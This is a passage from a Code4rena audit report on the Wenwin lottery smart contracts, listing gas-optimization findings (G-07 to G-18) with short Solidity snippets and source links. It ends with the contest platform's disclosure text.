https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/Staking.sol#L73

Recommended Mitigation Steps

Use hardcoded `address`.

[G-07] `internal` functions only called once can be inlined to save gas

Proof Of Concept

```
203: function receiveRandomNumber
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L203

```
279: function requireFinishedDraw
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L279

```
285: function mintNativeTokens
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L285

```
160: function _baseJackpot
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L160

[G-08] Multiple Address Mappings Can Be Combined Into A Single Mapping Of An Address To A Struct, Where Appropriate

Saves a storage slot for the mapping. Depending on the circumstances and sizes of types, can avoid a Gsset (20000 gas) per mapping combined. Reads and subsequent writes can also be cheaper when a function requires both values and they both fit in the same storage slot.

Proof Of Concept

```
19: mapping(address => uint256) public override userRewardPerTok
20: mapping(address => uint256) public override rewards;

//@audit Can be edited to the following struct:
struct addressRewardsStruct {
    uint256 userRewardPerTokenPaid;
    uint256 rewards;
```

```
}
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/Staking.sol#L20

[G-09] Optimize names to save gas

Contracts most called functions could simply save gas by function ordering via Method ID. Calling a function at runtime will be cheaper if the function is positioned earlier in the order (has a relatively lower Method ID) because 22 gas are added to the cost of a function for every position that came before it. The caller can save on gas if you prioritize most called functions.

See more here.

Proof Of Concept

All in-scope contracts.

Recommended Mitigation Steps

Find a lower method ID name for the most called functions for example `Call()` vs. `Call1()` is cheaper by 22 gas.

For example, the function IDs in the Gauge.sol contract will be the most used; A lower method ID may be given.

[G-10] `<x> += <y>` Costs More Gas Than `<x> = <x> + <y>` For State Variables

```
129: frontendDueTicketSales[frontend] += tickets.length;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L129

```
173: claimedAmount += claimWinningTicket(ticketIds[i]);
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L173

```
275: currentNetProfit += int256(unclaimedJackpotTickets * winAmo
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L275

```
55: newProfit -= int256(expectedRewardsOut);
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryMath.sol#L55

```
64: excessPotInt -= int256(fixedJackpotSize);
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryMath.sol#L64

```
84: bonusMulti += (excessPot * EXCESS_BONUS_ALLOCATION) / (ticke
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryMath.sol#L84

```
64: totalTicketsForReferrersPerDraw[currentDraw] +=
67: totalTicketsForReferrersPerDraw[currentDraw] += numberOfTick
69: unclaimedTickets[currentDraw][referrer].referrerTicketCount
71: unclaimedTickets[currentDraw][player].playerTicketCount += u
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L64

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L67

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L69

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L71

```
78: claimedReward += claimPerDraw(drawIds[counter]);
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L78

```
147: claimedReward += playerRewardsPerDrawForOneTicket[drawId] *
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L147

```
29: ticketSize += (ticket & uint256(1));
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/TicketUtils.sol#L29

```
96: winTier += uint8(intersection & uint120(1));
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/TicketUtils.sol#L96

```
30: depositedBalance += amount;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/StakedTokenLock.sol#L30

```
43: depositedBalance -= amount;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/StakedTokenLock.sol#L43

[G-11] Public Functions To External

The following functions could be set external to save gas and improve code quality. External call cost is less expensive than of public functions.

Proof Of Concept

```
    function currentRewardSize(uint8 winTier) public view override r
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L234

```
    function fixedReward(uint8 winTier) public view override returns
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L120

```
    function drawScheduledAt(uint128 drawId) public view override re
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L152

```
    function ticketRegistrationDeadline(uint128 drawId) public view
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L156

```
    function rewardPerToken() public view override returns (uint256
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/Staking.sol#L48

```
    function earned(address account) public view override returns (u
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/Staking.sol#L61

```
    function withdraw(uint256 amount) public override {
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/Staking.sol#L79

```
    function getReward() public override {
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/Staking.sol#L91

[G-12] `require()` Should Be Used Instead Of `assert()`

```
    147: assert(initialPot > 0);
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L147

```
    99: assert((winTier <= selectionSize) && (intersection == uint25
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/TicketUtils.sol#L99

[G-13] Shorten the array rather than copying to a new one

Inline-assembly can be used to shorten the array by changing the length slot, so that the entries don't have to be copied to a new, shorter array.

Proof Of Concept

```
54: uint8[] memory numbers = new uint8[](selectionSize);
63: bool[] memory selected = new bool[](selectionMax);
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/TicketUtils.sol#L54

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/TicketUtils.sol#L63

[G-14] Help The Optimizer By Saving A Storage Variable's Reference Instead Of Repeatedly Fetching It

To help the optimizer, declare a storage type variable and use it instead of repeatedly fetching the reference in a map or an array.

The effect can be quite significant.

As an example, instead of repeatedly calling someMap[someIndex], save its reference like this: SomeStruct storage someStruct = someMap[someIndex] and use it.

Proof Of Concept

```
170: uint16 reward = uint16(rewards[winTier] / divisor);
171: if ((rewards[winTier] % divisor) != 0) {
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L170-L171

```
78: claimedReward += claimPerDraw(drawIds[counter]);
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L78

[G-15] Structs can be packed into fewer storage slots

Each slot saved can avoid an extra Gsset (20000 gas) for the first setting of the struct. Subsequent reads as well as writes have smaller gas savings.

Proof Of Concept

```
63: struct LotterySetupParams {
    /// @dev Token to be used as reward token for the lottery
    IERC20 token;
    /// @dev Parameters of the draw schedule for the lottery
    LotteryDrawSchedule drawSchedule;
    /// @dev Price to pay for playing single game (including fee
    uint256 ticketPrice;
    /// @dev Count of numbers user picks for the ticket
    uint8 selectionSize;
    /// @dev Max number user can pick
    uint8 selectionMax;
    /// @dev Expected payout for one ticket, expressed in `rewar
    uint256 expectedPayout;
    /// @dev Array of fixed rewards per each non jackpot win
    uint256[] fixedRewards;
}
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/interfaces/ILotterySetup.sol#L63-L78

Can save 1 storage slot by changing to:

```
63: struct LotterySetupParams {
    IERC20 token;
    uint8 selectionSize;
    uint8 selectionMax;
```

```
        LotteryDrawSchedule drawSchedule;
        uint256 ticketPrice;
        uint256 expectedPayout;
        uint256[] fixedRewards;
    }
```

Can save an additional storage slot if `ticketPrice` and `expectedPayout` can be of size `uint128` if it is unlikely to ever reach `uint128.max` then we can save a total of 2 storage slots by changing to:

```
63: struct LotterySetupParams {
        IERC20 token;
        uint8 selectionSize;
        uint8 selectionMax;
        LotteryDrawSchedule drawSchedule;
        uint128 ticketPrice;
        uint128 expectedPayout;
        uint256[] fixedRewards;
    }
```

In addition for the following structs, these can be changed from `uint256` to `uint64` as it is unlikely for it to reach timestamp the max value of `uint256`

```
    struct LotteryDrawSchedule {
        /// @dev First draw is scheduled to take place at this times
        uint256 firstDrawScheduledAt;
        /// @dev Period for running lottery
        uint256 drawPeriod;
        /// @dev Cooldown period when users cannot register tickets
        uint256 drawCoolDownPeriod;
    }
```

Can save 2 storage slots by changing to:

```
    struct LotteryDrawSchedule {
        /// @dev First draw is scheduled to take place at this times
        uint64 firstDrawScheduledAt;
        /// @dev Period for running lottery
```

```
        uint64 drawPeriod;
        /// @dev Cooldown period when users cannot register tickets
        uint64 drawCoolDownPeriod;
    }
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/interfaces/ILotterySetup.sol#L53-L60

[G-16] Usage of `uints` / `ints` smaller than 32 bytes (256 bits) incurs overhead

When using elements that are smaller than 32 bytes, your contract's gas usage may be higher. This is because the EVM operates on 32 bytes at a time. Therefore, if the element is smaller than that, the EVM must use more operations in order to reduce the size of the element from 32 bytes to the desired size.

https://docs.soliditylang.org/en/v0.8.11/internals/layout_in_storage.html

Each operation involving a `uint8` costs an extra 22-28 gas (depending on whether the other operand is also a variable of type `uint8`) as compared to ones involving `uint256`, due to the compiler having to clear the higher bits of the memory word before operating on the `uint8`, as well as the associated stack operations of doing so. Use a larger size then downcast where needed

Proof Of Concept

```
34: uint128 public override currentDraw;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L34

```
162: uint120 _winningTicket = winningTicket[ticketInfo.drawId];
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L162

```
204: uint120 _winningTicket = TicketUtils.reconstructTicket(ranc
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L204

```
205: uint128 drawFinalized = currentDraw++;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L205

```
273: uint128 drawId = currentDraw - LotteryMath.DRAWS_PER_YEAR;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L273

```
24: uint128 public constant DRAWS_PER_YEAR = 52;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryMath.sol#L24

```
30: uint8 public immutable override selectionSize;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L30

```
31: uint8 public immutable override selectionMax;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L31

```
170: uint16 reward = uint16(rewards[winTier] / divisor);
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L170

```
54: uint8[] memory numbers = new uint8[](selectionSize);
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/TicketUtils.sol#L54

```
66: uint8 currentNumber = numbers[i];
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/TicketUtils.sol#L66

```
94: uint120 intersection = ticket & winningTicket;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/TicketUtils.sol#L94

```
97: intersection >>= 1;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/TicketUtils.sol#L97

```
10: uint16 public immutable override requestConfirmations;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/VRFv2RNSource.sol#L10

```
11: uint32 public immutable override callbackGasLimit;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/VRFv2RNSource.sol#L11

```
71: uint8 selectionSize;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/interfaces/ILotterySetup.sol#L71

```
73: uint8 selectionMax;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/interfaces/ILotterySetup.sol#L73

```
14: uint128 referrerTicketCount;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/interfaces/IReferralSystem.sol#L14

```
16: uint128 playerTicketCount;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/interfaces/IReferralSystem.sol#L16

```
13: uint128 drawId;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/interfaces/ITicket.sol#L13

```
15: uint120 combination;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/interfaces/ITicket.sol#L15

[G-17] Unnecessary look up in `if` condition

If the `||` condition isn't required, the second condition will have been looked up unnecessarily.

Proof Of Concept

```
95: if (notEnoughRetryInvocations || notEnoughTimeReachingMaxFai
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/RNSourceController.sol#L95

[G-18] Use solidity version 0.8.19 to gain some gas boost

Upgrade to the latest solidity version 0.8.19 to get additional gas savings.

See latest release for reference: https://blog.soliditylang.org/2023/02/22/solidity-0.8.19-release-announcement/

Proof Of Concept

```
pragma solidity ^0.8.7;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/VRFv2RNSource.sol#L3

```
pragma solidity ^0.8.7;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/interfaces/IVRFv2RNSource.sol#L3

```
pragma solidity ^0.8.17;
```

https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/StakedTokenLock.sol#L3

rand0c0des (Wenwin) confirmed

Disclosures

C4 is an open organization governed by participants in the community.

C4 Contests incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Contest submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Top